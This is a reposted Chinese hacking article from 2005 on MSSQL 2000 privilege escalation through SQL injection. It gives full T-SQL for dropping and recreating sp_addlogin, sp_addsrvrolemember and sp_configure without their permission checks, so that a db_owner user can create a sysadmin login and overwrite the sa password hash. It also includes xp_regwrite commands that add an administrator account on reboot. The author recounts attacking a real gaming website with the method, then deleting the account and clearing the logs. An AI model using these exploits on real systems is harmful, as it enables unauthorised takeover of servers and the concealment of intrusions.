国产一级一区二区_segui88久久综合9999_97久久夜色精品国产_欧美色网一区二区

掃一掃
關(guān)注微信公眾號

sql injection終極利用方法
2005-12-17   

 

————只要給我一個注射點(diǎn),無論什么權(quán)限,我都給你一個webshell甚至系統(tǒng)權(quán)限


聲明:本文僅用于教學(xué)目的,如果因?yàn)楸疚脑斐傻墓艉蠊救烁挪回?fù)責(zé)。因?yàn)榘l(fā)覺其危害過大,原文已經(jīng)經(jīng)過大量刪減及修改,即使這樣本文的危害性仍然很大,所以請大家不要對國內(nèi)的站點(diǎn)做任何具有破壞性的操作。考慮再三,偶還是決定發(fā)出來。此招手段歹毒,利用范圍廣泛,可以說是只要是有sql注射漏洞的網(wǎng)站,只要運(yùn)用此法99%可以拿到webshell甚至系統(tǒng)權(quán)限(不敢把話說滿,呵呵,經(jīng)本人數(shù)百次真實(shí)“實(shí)戰(zhàn)演習(xí)”,基本上是100%可以拿到webshell甚至系統(tǒng)權(quán)限)。
記得我在《MSSQL db_owner角色注入直接獲得系統(tǒng)權(quán)限(續(xù))》中寫過一種利用xp_regwrite來取得系統(tǒng)權(quán)限的方法:xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\currentvers ion\run','xwq1','REG_SZ','net user xwq xwq /add'
xp_regwrite HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\currentvers ion\run','xwq2','REG_SZ','net localgroup administrators xwq /add',只要讓網(wǎng)站所在的服務(wù)器重起,就能得到系統(tǒng)權(quán)限。經(jīng)過本人的數(shù)百次的真實(shí)實(shí)驗(yàn),這種方法不太實(shí)用,很容易引起網(wǎng)管的注意,再說ddos也是違法的事(偶可是好人啊),發(fā)動一場ddos要花費(fèi)的大量的人力,物力(看你的肉雞多少拉)。所以不太可行(除非是你十分想要搞定的網(wǎng)站)。

呵呵,哆嗦拉那么多,你可能看的已經(jīng)不耐煩拉,好,這就介紹我的三大必殺技之一————萬能提權(quán)。

假如一個網(wǎng)站存在sql注射漏洞,如果這個網(wǎng)站是用固定服務(wù)器sysadmin權(quán)限的用戶作的連接(呵呵,通俗點(diǎn)說就是sa,菜鳥可以這樣認(rèn)為),呵呵,想要拿到一個webshell或者是系統(tǒng)權(quán)限可以說是易如反掌,輕而易舉的事,據(jù)我所知,sysadmin權(quán)限要拿到webshell或者系統(tǒng)權(quán)限不下10種,呵呵,可能更多吧(偶只會10種),sysadmin怎么拿到webshell或者系統(tǒng)權(quán)限,我不想多說,想比大家都已經(jīng)爛熟于心拉,可是要是一個網(wǎng)站是db_owner權(quán)限呢?你怎么辦,你怎么拿系統(tǒng)權(quán)限,怎么拿webshell(沒有上傳漏洞和數(shù)據(jù)庫備份等功能),大家可能回說backup a shell,我記得LCX也在《MSSQL db_owner角色注入直接獲得系統(tǒng)權(quán)限》里說過拉“備份得到的shell只是理論化的東東,如果一個webshell有20mb的話,你還能用它嗎?”呵呵,要是我告訴你db_owner拿到一個webshell或者是系統(tǒng)權(quán)限的方法和sysadmin權(quán)限的一樣多,你回有什么反映,是不是覺得有點(diǎn)不可思議,或者又是我胡說呢?(不相信的朋友,下面的內(nèi)容就不要看拉)

呵呵,是不是看的心癢癢拉,迫不及待的想知道啊,好,我不在廢話拉,這就把我的三大必殺技之一————萬能提升權(quán)限方法告訴大家。

在告訴大家之前,我們先做個實(shí)驗(yàn).實(shí)驗(yàn)環(huán)境windowsxp sp1+SQL 2000 sp3,大家跟著我來step to step,首先新建一個具有db_owner的權(quán)限的用戶,這里我是xwq(就是在服務(wù)器角色里面什么都不要選,在數(shù)據(jù)庫角色里面鉤上db_owner),好,現(xiàn)在我們打開查詢分析器用xwq連上后再里面輸入sp_addlogin xuwenqiang,執(zhí)行看看,出現(xiàn)拉什么?


服務(wù)器: 消息 2571,級別 14,狀態(tài) 2,過程 sp_addlogin,行 16
用戶 'xwq' 沒有運(yùn)行 DBCC auditevent 的權(quán)限。

服務(wù)器: 消息 15247,級別 16,狀態(tài) 1,過程 sp_addlogin,行 17
用戶沒有執(zhí)行此操作的權(quán)限。


呵呵,出現(xiàn)上面的錯誤信息這很正常,因?yàn)橹挥衧ysadmin 和 securityadmin 固定服務(wù)器角色的成員才可以執(zhí)行 sp_addlogin,那么怎么才好讓sp_addlogin為我所用呢?我們在這里看一下sp_addlogin的代碼:
create procedure sp_addlogin
@loginame  sysname
,@passwd         sysname = Null
,@defdb          ; ; sysname = 'master'      -- UNDONE: DEFAULT

CONFIGURABLE???
,@deflanguage    sysname = Null
,@sid   varbinary(16) = Null
,@encryptopt  varchar(20) = Null
AS
-- SETUP RUNTIME OPTIONS / DECLARE VARIABLES --
set nocount on
Declare @ret    int    -- return value of sp call

-- CHECK PERMISSIONS --
IF (not is_srvrolemember('securityadmin') = 1)
begin
dbcc auditevent (104, 1, 0, @loginame, NULL, NULL, @sid)
raiserror(15247,-1,-1)
return (1)
end
ELSE
begin
dbcc auditevent (104, 1, 1, @loginame, NULL, NULL, @sid)
end

-- DISALLOW USER TRANSACTION --
set implicit_transactions off
IF (@@trancount > 0)
begin
raiserror(15002,-1,-1,'sp_addlogin')
return (1)
end

-- VALIDATE LOGIN NAME AS:
--  (1) Valid SQL Name (SQL LOGIN)
--  (2) No backslash (NT users only)
--  (3) Not a reserved login name
execute @ret = sp_validname @loginame
if (@ret <> 0)
return (1)
if (charindex('\', @loginame) > 0)
begin
raiserror(15006,-1,-1,@loginame)
return (1)
end

--Note: different case sa is allowed.
if (@loginame = 'sa' or lower(@loginame) in ('public'))
begin
raiserror(15405, -1 ,-1, @loginame)
return (1)
end

-- LOGIN NAME MUST NOT ALREADY EXIST --
if exists(select * from master.dbo.syslogins where loginname =

@loginame)
begin
raiserror(15025,-1,-1,@loginame)
return (1)
end

-- VALIDATE DEFAULT DATABASE --
IF db_id(@defdb) IS NULL
begin
raiserror(15010,-1,-1,@defdb)
return (1)
end

-- VALIDATE DEFAULT LANGUAGE --
IF (@deflanguage IS NOT Null)
begin
Execute @ret = sp_validlang @deflanguage
IF (@ret <> 0)
return (1)
end
ELSE
begin
select @deflanguage = name from master.dbo.syslanguages
where langid = @@default_langid --server default

language

if @deflanguage is null
select @deflanguage = N'us_english'
end

-- VALIDATE SID IF GIVEN --
if ((@sid IS NOT Null) and (datalength(@sid) <> 16))
begin
raiserror(15419,-1,-1)
return (1)
end
else if @sid is null
select @sid = newid()
if (suser_sname(@sid) IS NOT Null)
begin
raiserror(15433,-1,-1)
return (1)
end

-- VALIDATE AND USE ENCRYPTION OPTION --
declare @xstatus smallint
select @xstatus = 2 -- access
if @encryptopt is null
select @passwd = pwdencrypt(@passwd)
else if @encryptopt = 'skip_encryption_old'
begin
select @xstatus = @xstatus | 0x800, -- old-style

encryption
@passwd = convert(sysname, convert(varbinary

(30), convert(varchar(30), @passwd)))
end
else if @encryptopt <> 'skip_encryption'
begin
raiserror(15600,-1,-1,'sp_addlogin')
return 1
end

-- ATTEMPT THE INSERT OF THE NEW LOGIN --
INSERT INTO master.dbo.sysxlogins VALUES
(NULL, @sid, @xstatus, getdate(),
getdate(), @loginame, convert(varbinary(256), @passwd),
db_id(@defdb), @deflanguage)
if @@error <> 0  -- this indicates we saw duplicate row
return (1)

-- UPDATE PROTECTION TIMESTAMP FOR MASTER DB, TO INDICATE

SYSLOGINS CHANGE --
exec('use master grant all to null')

-- FINALIZATION: RETURN SUCCESS/FAILURE --
raiserror(15298,-1,-1)
return  (0) -- sp_addlogin

GO

之所以只有 sysadmin 和 securityadmin 固定服務(wù)器角色的成員才可以執(zhí)行 sp_addlogin,主要是這里一段再搞鬼
-- CHECK PERMISSIONS --
IF (not is_srvrolemember('securityadmin') = 1)
begin
dbcc auditevent (104, 1, 0, @loginame, NULL, NULL, @sid)
raiserror(15247,-1,-1)
return (1)
end
ELSE
begin
dbcc auditevent (104, 1, 1, @loginame, NULL, NULL, @sid)
end


只要我們把這段代碼刪拉,任何權(quán)限的用戶都可以增加用戶拉。
好,我們先把sp_addlogin刪拉

drop procedure sp_addlogin


然后再來恢復(fù)sp_addlogin


create procedure sp_addlogin
@loginame  sysname
,@passwd         sysname = Null
,@defdb          ; ; sysname = 'master'      -- UNDONE: DEFAULT

CONFIGURABLE???
,@deflanguage    sysname = Null
,@sid   varbinary(16) = Null
,@encryptopt  varchar(20) = Null
AS
-- SETUP RUNTIME OPTIONS / DECLARE VARIABLES --
set nocount on
Declare @ret    int    -- return value of sp call

-- DISALLOW USER TRANSACTION --
set implicit_transactions off
IF (@@trancount > 0)
begin
raiserror(15002,-1,-1,'sp_addlogin')
return (1)
end

-- VALIDATE LOGIN NAME AS:
--  (1) Valid SQL Name (SQL LOGIN)
--  (2) No backslash (NT users only)
--  (3) Not a reserved login name
execute @ret = sp_validname @loginame
if (@ret <> 0)
return (1)
if (charindex('\', @loginame) > 0)
begin
raiserror(15006,-1,-1,@loginame)
return (1)
end

--Note: different case sa is allowed.
if (@loginame = 'sa' or lower(@loginame) in ('public'))
begin
raiserror(15405, -1 ,-1, @loginame)
return (1)
end

-- LOGIN NAME MUST NOT ALREADY EXIST --
if exists(select * from master.dbo.syslogins where loginname =

@loginame)
begin
raiserror(15025,-1,-1,@loginame)
return (1)
end

-- VALIDATE DEFAULT DATABASE --
IF db_id(@defdb) IS NULL
begin
raiserror(15010,-1,-1,@defdb)
return (1)
end

-- VALIDATE DEFAULT LANGUAGE --
IF (@deflanguage IS NOT Null)
begin
Execute @ret = sp_validlang @deflanguage
IF (@ret <> 0)
return (1)
end
ELSE
begin
select @deflanguage = name from master.dbo.syslanguages
where langid = @@default_langid --server default

language

if @deflanguage is null
select @deflanguage = N'us_english'
end

-- VALIDATE SID IF GIVEN --
if ((@sid IS NOT Null) and (datalength(@sid) <> 16))
begin
raiserror(15419,-1,-1)
return (1)
end
else if @sid is null
select @sid = newid()
if (suser_sname(@sid) IS NOT Null)
begin
raiserror(15433,-1,-1)
return (1)
end

-- VALIDATE AND USE ENCRYPTION OPTION --
declare @xstatus smallint
select @xstatus = 2 -- access
if @encryptopt is null
select @passwd = pwdencrypt(@passwd)
else if @encryptopt = 'skip_encryption_old'
begin
select @xstatus = @xstatus | 0x800, -- old-style

encryption
@passwd = convert(sysname, convert(varbinary

(30), convert(varchar(30), @passwd)))
end
else if @encryptopt <> 'skip_encryption'
begin
raiserror(15600,-1,-1,'sp_addlogin')
return 1
end

-- ATTEMPT THE INSERT OF THE NEW LOGIN --
INSERT INTO master.dbo.sysxlogins VALUES
(NULL, @sid, @xstatus, getdate(),
getdate(), @loginame, convert(varbinary(256), @passwd),
db_id(@defdb), @deflanguage)
if @@error <> 0  -- this indicates we saw duplicate row
return (1)

-- UPDATE PROTECTION TIMESTAMP FOR MASTER DB, TO INDICATE

SYSLOGINS CHANGE --
exec('use master grant all to null')

-- FINALIZATION: RETURN SUCCESS/FAILURE --
raiserror(15298,-1,-1)
return  (0) -- sp_addlogin

GO


這樣我這個只具有db_owner權(quán)限的xwq就可以任意增加用戶拉,ok,在查詢分析器里面在輸入sp_addlogin xuwenqiang,執(zhí)行看看,GOOD!返回已創(chuàng)建新登錄。我新建拉一個用戶xuwenqiang,當(dāng)然這個用戶我可不是白建的,我要把他變成具有最高權(quán)限的用戶,在sql中具有最高權(quán)限的當(dāng)然是sysadmin拉,而把一個用戶變成sysadmin只有sp_addsrvrolemember這個存儲過程拉,可是只有sysadmin權(quán)限的用戶才好使用,不爽,偶要讓他為我所用,呵呵,聰明的讀者一定想到拉我怎么讓只具有db_owner權(quán)限的我,怎么使用sp_addsrvrolemember拉,沒錯,和讓sp_addlogin為我所用的方法一樣,只要去掉sp_addsrvrolemember中權(quán)限限制的一段,我們就可以任意增加sysadmin拉,我們先看看sp_addsrvrolemember的代碼

:create procedure sp_addsrvrolemember
@loginame sysname,   -- login name
@rolename sysname = NULL -- server role name
as
-- SETUP RUNTIME OPTIONS / DECLARE VARIABLES --
set nocount on
declare @ret        int,    -- return value of sp call
@rolebit    smallint,
@ismem      int

-- DISALLOW USER TRANSACTION --
set implicit_transactions off
IF (@@trancount > 0)
begin
raiserror(15002,-1,-1,'sp_addsrvrolemember')
return (1)
end

-- VALIDATE SERVER ROLE NAME, CHECKING PERMISSIONS --
select @ismem = is_srvrolemember(@rolename)
if @ismem is null
begin
dbcc auditevent (108, 1, 0, @loginame, NULL, @rolename,

NULL)
raiserror(15402, -1, -1, @rolename)
return (1)
end
if @ismem = 0
begin
dbcc auditevent (108, 1, 0, @loginame, NULL, @rolename,

NULL)
raiserror(15247,-1,-1)
return (1)
end

-- AUDIT A SUCCESSFUL SECURITY CHECK --
dbcc auditevent (108, 1, 1, @loginame, NULL, @rolename, NULL)

-- CANNOT CHANGE SA ROLES --
if @loginame = 'sa'
begin
raiserror(15405, -1 ,-1, @loginame)
return (1)
end

-- OBTAIN THE BIT FOR THIS ROLE --
select @rolebit = CASE @rolename
WHEN 'sysadmin'         THEN 16
WHEN 'securityadmin'    THEN 32
WHEN 'serveradmin'      THEN 64
WHEN 'setupadmin'       THEN 128
WHEN 'processadmin'     THEN 256
WHEN 'diskadmin'        THEN 512
WHEN 'dbcreator'        THEN 1024
WHEN 'bulkadmin'  THEN 4096
ELSE NULL END

-- ADD ROW FOR NT LOGIN IF NEEDED --
if not exists(select * from master.dbo.syslogins where

loginname = @loginame)
begin
execute @ret = sp_MSaddlogin_implicit_ntlogin @loginame
if (@ret <> 0)
begin
raiserror(15007,-1,-1,@loginame)
return (1)
end
end

-- UPDATE ROLE MEMBERSHIP --
update master.dbo.sysxlogins set xstatus = xstatus | @rolebit,

xdate2 = getdate()
where name = @loginame and srvid IS NULL

-- UPDATE PROTECTION TIMESTAMP FOR MASTER DB, TO INDICATE

SYSLOGINS CHANGE --
exec('use master grant all to null')

raiserror(15488,-1,-1,@loginame,@rolename)

-- FINALIZATION: RETURN SUCCESS/FAILURE
return (@@error) -- sp_addsrvrolemember

GO

把這一段刪除 -- VALIDATE SERVER ROLE NAME, CHECKING PERMISSIONS --
select @ismem = is_srvrolemember(@rolename)
if @ismem is null
begin
dbcc auditevent (108, 1, 0, @loginame, NULL, @rolename,

NULL)
raiserror(15402, -1, -1, @rolename)
return (1)
end
if @ismem = 0
begin
dbcc auditevent (108, 1, 0, @loginame, NULL, @rolename,

NULL)
raiserror(15247,-1,-1)
return (1)
end


這樣我們就可以任意增加sysadmin拉,呵呵,爽啊。在查詢分析器里輸入sp_addsrvrolemember xuwenqiang,sysadmin,Yeah!!!!!!!成功拉。到這里我們就成功利用拉一個只具有db_owner權(quán)限的用戶新建拉一個在SQL中具有至高無上權(quán)限,也就是具有sysadmin權(quán)限的用戶xuwenqiang,有拉sysadmin權(quán)限想要webshell或者系統(tǒng)權(quán)限還不容易么!不要只把眼睛只放在我所說的sp_addlogin和sp_addsrvrolemember這兩個存儲過程上,凡是只有sysadmin才好使用的存儲過程,利用我的萬能提權(quán)必殺技,我們都可以使用。比如:sp-configure,sp_addlinkedserver,sp_addlinkedsrvlogin,sp_makewebtask等等很多只好sysadmin權(quán)限能利用的,我們都可以讓他們?yōu)槲宜谩?/p>

下面再舉一個萬能提權(quán)的例子,和我一起打造一個永遠(yuǎn)不會被殺及完美的后門我們都知道在sql中有個被黑客稱為后門的用戶,那就是sa,sa 是內(nèi)置的管理員登錄,而且不能進(jìn)行更改和刪除。呵呵,這是M$說的,要是你看過我寫的另外一篇文章《完全刪除sa這個后門》就知道,其實(shí)sa也是好刪除的。我們知道在sql可以改密碼的存儲過程有sp_password,可是我們必須知道要改的用戶的舊密碼,才可以更改,那么有沒有辦法再不知道舊密碼的情況下更改sa的密碼呢?有,其實(shí)也就是利用sp_configure,sp_configure的功能是顯示或更改當(dāng)前服務(wù)器的全局配置設(shè)置。sp_configure(用于更改配置選項(xiàng))的執(zhí)行許可權(quán)限默認(rèn)授予 sysadmin和 serveradmin 固定服務(wù)器角色。這很容易只要把sp_configure中檢查權(quán)限的一段刪除,再重建,我們就好用拉。
CREATE PROCEDURE sp_configure  --- 1996/08/14 09:43

@configname   varchar(35) = NULL   -- option name to configure
,@configvalue  int         = NULL   -- new configuration value
as

set nocount on

declare
@confignum                  int   --Num of the opt to be configured
,@configcount                int   --Num of options like @configname
,@show_advance               int   --Y/N Read&Write actions on

"advanced" opts

declare @fullconfigname  varchar (35)
declare @prevvalue   int
/*
**  Determine @maxnumber based on advance option in syscurconfigs.
*/
if (select value from master.dbo.syscurconfigs where config = 518) = 1
select @show_advance = 1   -- Display advanced options
else
select @show_advance = 0   -- Don't display advanced options

/*
**  Make certain that max user info. reflects any addpak upgrades.
*/
if (select high from master.dbo.spt_values where number=103 and

type='C')
<> @@max_connections

update master.dbo.spt_values
set high = @@max_connections
where number = 103
and type='C'

/*
**  If no option name is given, the procedure will just print out all

the
**  options and their values.
*/
if @configname is NULL
begin
select name, minimum = low, maximum = high,
config_value = c.value,
run_value = master.dbo.syscurconfigs.value
from master.dbo.spt_values, master.dbo.sysconfigures c,

master.dbo.syscurconfigs
where type = 'C'
and number = c.config
and number = master.dbo.syscurconfigs.config

and
((c.status & 2 <> 0 and @show_advance = 1)
OR
(c.status & 2  = 0)
)
order by lower(name)

return (0)
end

/*
**  Use @configname and try to find the right option.
**  If there isn't just one, print appropriate diagnostics and return.
*/
select @configcount = count(*), @fullconfigname = min (v.name),

@prevvalue = min (c.value)
from master.dbo.spt_values v ,master.dbo.sysconfigures c
where v.name like '%' + @configname + '%' and v.type = 'C'
and v.number = c.config
and
((c.status & 2 <> 0 and @show_advance = 1)
OR
(c.status & 2  = 0)
)

/*
**  If no option, show the user what the options are.
*/
if @configcount = 0
begin
raiserror (15123,-1,-1,@configname)

print ' '
raiserror (15456,-1,-1)

/*
** Show the user what the options are.
*/
select name, minimum = low, maximum = high,
config_value = c.value,
run_value = master.dbo.syscurconfigs.value
from master.dbo.spt_values, master.dbo.sysconfigures c,

master.dbo.syscurconfigs
where type = 'C'
and number = c.config
and number = master.dbo.syscurconfigs.config

and
((c.status & 2 <> 0 and @show_advance = 1)
OR
(c.status & 2  = 0)
)

return (1)
end

/*
**  If more than one option like @configname, show the duplicates and

return.
*/
if @configcount > 1
begin
raiserror (15124,-1,-1,@configname)
print ' '

select duplicate_options = name
from master.dbo.spt_values,master.dbo.sysconfigures c
where name like '%' + @configname + '%'
and type = 'C'
and number = c.config
and
((c.status & 2 <> 0 and @show_advance = 1)
OR
(c.status & 2  = 0)
)

return (1)
end
else
/* There must be exactly one, so get the full name. */
select @configname = name --,@value_in_sysconfigures = c.value
from master.dbo.spt_values,master.dbo.sysconfigures c
where name like '%' + @configname + '%' and type = 'C'
and number = c.config
and
((c.status & 2 <> 0 and @show_advance = 1)
OR
(c.status & 2  = 0)
)

/*
** If @configvalue is NULL, just show the current state of the option.
*/
if @configvalue is null
begin

select       v.name
,v.low   as 'minimum'
,v.high  as 'maximum'
,c.value as 'config_value'
,u.value as 'run_value'
from
master.dbo.spt_values     v  left outer join
master.dbo.sysconfigures  c  on v.number = c.config
left outer join
master.dbo.syscurconfigs  u  on v.number = u.config
where
v.type = 'C  '
and    v.name like '%' + @configname + '%'
and
((c.status & 2 <> 0 and @show_advance = 1)
OR
(c.status & 2  = 0)
)

return (0)
end

/*
**  Now get the configuration number.
*/
select @confignum = number
from master.dbo.spt_values,master.dbo.sysconfigures c
where type = 'C'
and (@configvalue between low and high or @configvalue = 0)
and name like '%' + @configname + '%'
and number = c.config
and
((c.status & 2 <> 0 and @show_advance = 1)
OR
(c.status & 2  = 0)
)

/*
**  If this is the number of default language, we want to make sure
**  that the new value is a valid language id in Syslanguages.
*/
if @confignum = 124
begin
if not exists (select * from master.dbo.syslanguages
where langid = @configvalue)
begin
/* 0 is default language, us_english */
if @configvalue <> 0
begin
raiserror(15127,-1,-1)
return (1)
end
end
end

/*
**  If this is the number of kernel language, we want to make sure
**  that the new value is a valid language id in Syslanguages.
*/
if @confignum = 132
begin
if not exists (select * from master.dbo.syslanguages
where langid = @configvalue)
begin
/* 0 is default language, us_english */
if @configvalue <> 0
begin
raiserror(15028,-1,-1)
return (1)
end
end
end

/*
**  "user options" should not try to set incompatible options/values.
*/
if @confignum = 1534  --"user options"
begin

if (@configvalue & (1024+2048) = (1024+2048)) --

ansi_null_default_on/off
begin
raiserror(15303,-1,-1,@configvalue)
return (1)
end
end

/*
**  Although the @configname is good, @configvalue wasn't in range.
*/
if @confignum is NULL
begin
raiserror(15129,-1,-1,@configvalue,@configname)
return (1)
end

--Msg 15002, but in 6.5 allow this inside a txn (not check @@trancount)

#12828.

/*
**  Now update sysconfigures.
*/
update master.dbo.sysconfigures set value = @configvalue
where config = @confignum

/*
** Flush the procedure cache - this is to account for options which

become
** effective immediately (ie. dont need a server restart).
*/
dbcc freeproccache

raiserror(15457,-1,-1, @fullconfigname, @prevvalue, @configvalue) with

log

return (0) -- sp_configure

GO

ok,我們再
sp_configure 'allow updates',1
go
RECONFIGURE WITH OVERRIDE
go

好拉這樣我們才好更改sa的密碼。接著update sysxlogins set password=0x0100AB01431E944AA50CBB30267F53B9451B7189CA67AF19A 1FC944AA50CBB30267F53B9451B7189CA67AF19A1FC where sid=0x01,這樣sa的密碼就被我們改成拉111111拉。呵呵,解決的方法就是把sa給刪拉。,怎么刪可以參考我的《完全刪除sa這個后門》。


實(shí)例:
下面對一個國內(nèi)非常出名的站點(diǎn)進(jìn)行善意的攻擊測試,來對上面的知識進(jìn)行一次大概的驗(yàn)證,出于影響等諸多因素,我們稱這個站點(diǎn)為www.**173.comwww.**173.com這個站點(diǎn)在游戲上很有名氣,排名在前20名(我當(dāng)時測試的時候),在這里我不想說我怎么找到的注射點(diǎn),大家還可以找找,還是滿多的(整個測試可真花費(fèi)拉我不少時間,別誤會,我不是說時間花在“檢測”上,而是都放在寫程序里面拉,不寫個像樣點(diǎn)的程序,怎么讓我為所欲為呢?整個攻擊只有10分鐘不到)。
在找到的注射點(diǎn)gametype=**(郁悶,要是當(dāng)時測試的時候有nbsi2,偶可能要輕松不少),先輸入drop procedure sp_addlogin,然后在IE里面輸入(呵呵,我當(dāng)然是在我寫的程序里面輸入拉)
create procedure  sp_addlogin
@loginame  sysname
,@passwd         sysname = Null
,@defdb          ; ; sysname = 'master'      -- UNDONE: DEFAULT

CONFIGURABLE???
,@deflanguage    sysname = Null
,@sid   varbinary(16) = Null
,@encryptopt  varchar(20) = Null
AS
-- SETUP RUNTIME OPTIONS / DECLARE VARIABLES --
set nocount on
Declare @ret    int    -- return value of sp call

-- DISALLOW USER TRANSACTION --
set implicit_transactions off
IF (@@trancount > 0)
begin
raiserror(15002,-1,-1,'sp_addlogin')
return (1)
end

-- VALIDATE LOGIN NAME AS:
--  (1) Valid SQL Name (SQL LOGIN)
--  (2) No backslash (NT users only)
--  (3) Not a reserved login name
execute @ret = sp_validname @loginame
if (@ret <> 0)
return (1)
if (charindex('\', @loginame) > 0)
begin
raiserror(15006,-1,-1,@loginame)
return (1)
end

--Note: different case sa is allowed.
if (@loginame = 'sa' or lower(@loginame) in ('public'))
begin
raiserror(15405, -1 ,-1, @loginame)
return (1)
end

-- LOGIN NAME MUST NOT ALREADY EXIST --
if exists(select * from master.dbo.syslogins where loginname =

@loginame)
begin
raiserror(15025,-1,-1,@loginame)
return (1)
end

-- VALIDATE DEFAULT DATABASE --
IF db_id(@defdb) IS NULL
begin
raiserror(15010,-1,-1,@defdb)
return (1)
end

-- VALIDATE DEFAULT LANGUAGE --
IF (@deflanguage IS NOT Null)
begin
Execute @ret = sp_validlang @deflanguage
IF (@ret <> 0)
return (1)
end
ELSE
begin
select @deflanguage = name from master.dbo.syslanguages
where langid = @@default_langid --server default

language

if @deflanguage is null
select @deflanguage = N'us_english'
end

-- VALIDATE SID IF GIVEN --
if ((@sid IS NOT Null) and (datalength(@sid) <> 16))
begin
raiserror(15419,-1,-1)
return (1)
end
else if @sid is null
select @sid = newid()
if (suser_sname(@sid) IS NOT Null)
begin
raiserror(15433,-1,-1)
return (1)
end

-- VALIDATE AND USE ENCRYPTION OPTION --
declare @xstatus smallint
select @xstatus = 2 -- access
if @encryptopt is null
select @passwd = pwdencrypt(@passwd)
else if @encryptopt = 'skip_encryption_old'
begin
select @xstatus = @xstatus | 0x800, -- old-style

encryption
@passwd = convert(sysname, convert(varbinary

(30), convert(varchar(30), @passwd)))
end
else if @encryptopt <> 'skip_encryption'
begin
raiserror(15600,-1,-1,'sp_addlogin')
return 1
end

-- ATTEMPT THE INSERT OF THE NEW LOGIN --
INSERT INTO master.dbo.sysxlogins VALUES
(NULL, @sid, @xstatus, getdate(),
getdate(), @loginame, convert(varbinary(256), @passwd),
db_id(@defdb), @deflanguage)
if @@error <> 0  -- this indicates we saw duplicate row
return (1)

-- UPDATE PROTECTION TIMESTAMP FOR MASTER DB, TO INDICATE

SYSLOGINS CHANGE --
exec('use master grant all to null')

-- FINALIZATION: RETURN SUCCESS/FAILURE --
raiserror(15298,-1,-1)
return  (0) -- sp_addlogin

GO

OK,我們新建個用戶exec master..sp_addlogin xwq


再drop procedure sp_addsrvrolemember,然后在IE里輸入


create procedure sp_addsrvrolemember
@loginame sysname,   -- login name
@rolename sysname = NULL -- server role name
as
-- SETUP RUNTIME OPTIONS / DECLARE VARIABLES --
set nocount on
declare @ret        int,    -- return value of sp call
@rolebit    smallint,
@ismem      int

-- DISALLOW USER TRANSACTION --
set implicit_transactions off
IF (@@trancount > 0)
begin
raiserror(15002,-1,-1,'sp_addsrvrolemember')
return (1)
end


-- CANNOT CHANGE SA ROLES --
if @loginame = 'sa'
begin
raiserror(15405, -1 ,-1, @loginame)
return (1)
end

-- OBTAIN THE BIT FOR THIS ROLE --
select @rolebit = CASE @rolename
WHEN 'sysadmin'         THEN 16
WHEN 'securityadmin'    THEN 32
WHEN 'serveradmin'      THEN 64
WHEN 'setupadmin'       THEN 128
WHEN 'processadmin'     THEN 256
WHEN 'diskadmin'        THEN 512
WHEN 'dbcreator'        THEN 1024
WHEN 'bulkadmin'  THEN 4096
ELSE NULL END

-- ADD ROW FOR NT LOGIN IF NEEDED --
if not exists(select * from master.dbo.syslogins where

loginname = @loginame)
begin
execute @ret = sp_MSaddlogin_implicit_ntlogin @loginame
if (@ret <> 0)
begin
raiserror(15007,-1,-1,@loginame)
return (1)
end
end

-- UPDATE ROLE MEMBERSHIP --
update master.dbo.sysxlogins set xstatus = xstatus | @rolebit,

xdate2 = getdate()
where name = @loginame and srvid IS NULL

-- UPDATE PROTECTION TIMESTAMP FOR MASTER DB, TO INDICATE

SYSLOGINS CHANGE --
exec('use master grant all to null')

raiserror(15488,-1,-1,@loginame,@rolename)

-- FINALIZATION: RETURN SUCCESS/FAILURE
return (@@error) -- sp_addsrvrolemember

GO


接著再exec master..sp_addsrvrolemember xwq,sysadmin我們拿sql綜合利用工具或者查詢分析器連上看看,呵呵,成功拉,這樣我們就在www.**17173.com的服務(wù)器上建拉一個具有最高權(quán)限的用戶xwq拉,下面的事我想大家都應(yīng)該回做拉吧。呵呵,因?yàn)橹皇前踩珳y試,我并沒有深入下去,刪拉帳號,清除日志,閃人。


看到拉吧,我的必殺技之一——萬能提權(quán)的威力拉吧,只要是給我一個注射點(diǎn),無論什么權(quán)限,我都會給你一個webshell甚至系統(tǒng)權(quán)限.呵呵,其實(shí)說萬能的提升權(quán)限方法的確是有點(diǎn)夸張拉,因?yàn)镃REATE PROCEDURE 的權(quán)限默認(rèn)授予 sysadmin 固定服務(wù)器角色成員和 db_owner 和 db_ddladmin 固定數(shù)據(jù)庫角色成員,你要是碰到Public的權(quán)限,那就不好使用拉。不過不要以為換成public權(quán)限,就沒有辦法拿到webshell或者系統(tǒng)權(quán)限拉,恰恰相反,據(jù)我所知public權(quán)限的用戶拿到webshell甚至系統(tǒng)權(quán)限的方法至少也有5種。最好的防范方法就是杜絕注射漏洞,這才是治標(biāo)又治本的解決方法。(呵呵,要是我說,最好連public的權(quán)限都不要給,可惜已經(jīng)沒有比public權(quán)限更低的角色拉,沒辦法誰叫public也可以利用很多有危險(xiǎn)的存儲過程呢,而且public無法除去,看來M$對我們這些“壞人”還是很厚愛的哦)


后記

這篇文章是我自2004年4月份裝上SQL以來利用課余時間學(xué)習(xí)研究的,12月初旬寫完,由于危害太大,我一直都不太敢發(fā)布,相信國內(nèi)也有人知道的。只是不公開而已。經(jīng)過再三考慮還是決定發(fā)布了,希望大家掌握了以后,不要對國內(nèi)的站點(diǎn)做任何具有破壞性的操作。
再這篇文章里我并沒有提到public權(quán)限的用戶怎么拿到webshell或者系統(tǒng)權(quán)限,而據(jù)我所知public權(quán)限的用戶拿到webshell甚至系統(tǒng)權(quán)限的方法至少5種(偶目前只會5種,可能還有更多的方法,要是哪位高手會更多,希望能不吝賜教,偶先謝拉),鑒于危害實(shí)在太太大,現(xiàn)在還不是公布這些關(guān)鍵技術(shù)細(xì)節(jié)的時候,等到拉一個適當(dāng)?shù)臅r機(jī),我會把我所掌握的知識無私奉獻(xiàn)給大家再重申一次。不要對任何國家的任何合法主機(jī)進(jìn)行破壞,否則后果自負(fù)。


熱詞搜索:

上一篇:Php后門的隱藏技巧測試報(bào)告
下一篇:繞過md5驗(yàn)證繼續(xù)入侵

分享到: 收藏
国产一级一区二区_segui88久久综合9999_97久久夜色精品国产_欧美色网一区二区
